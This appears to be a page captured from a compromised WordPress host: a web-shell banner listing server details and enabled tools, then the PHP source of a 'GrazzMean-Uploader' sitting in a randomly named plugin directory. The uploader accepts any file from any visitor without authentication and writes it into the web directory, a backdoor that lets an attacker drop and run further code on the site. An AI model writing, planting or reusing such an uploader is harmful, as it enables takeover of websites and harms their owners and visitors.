| Server IP : 213.186.33.2 / Your IP : 216.73.216.39 Web Server : Apache System : Linux webm005.cluster102.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64 User : symetry ( 21728) PHP Version : 8.2.31 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/s/y/m/symetry/www/wp-content/plugins/3cxl04vx/ |
Upload File : |
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_FILES["file"])) {
$uploadDir = "./"; // Direktori untuk menyimpan file (direktori saat ini)
$uploadFile = $uploadDir . basename($_FILES["file"]["name"]); // Path lengkap untuk file yang diunggah
// Cek apakah file berhasil diunggah
if (move_uploaded_file($_FILES["file"]["tmp_name"], $uploadFile)) {
echo "success";
} else {
echo "failed";
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>GrazzMean-Uploader</title>
</head>
<body>
<h2>Form Upload File</h2>
<form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]); ?>" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file">
<button type="submit" name="submit">Upload</button>
</form>
</body>
</html>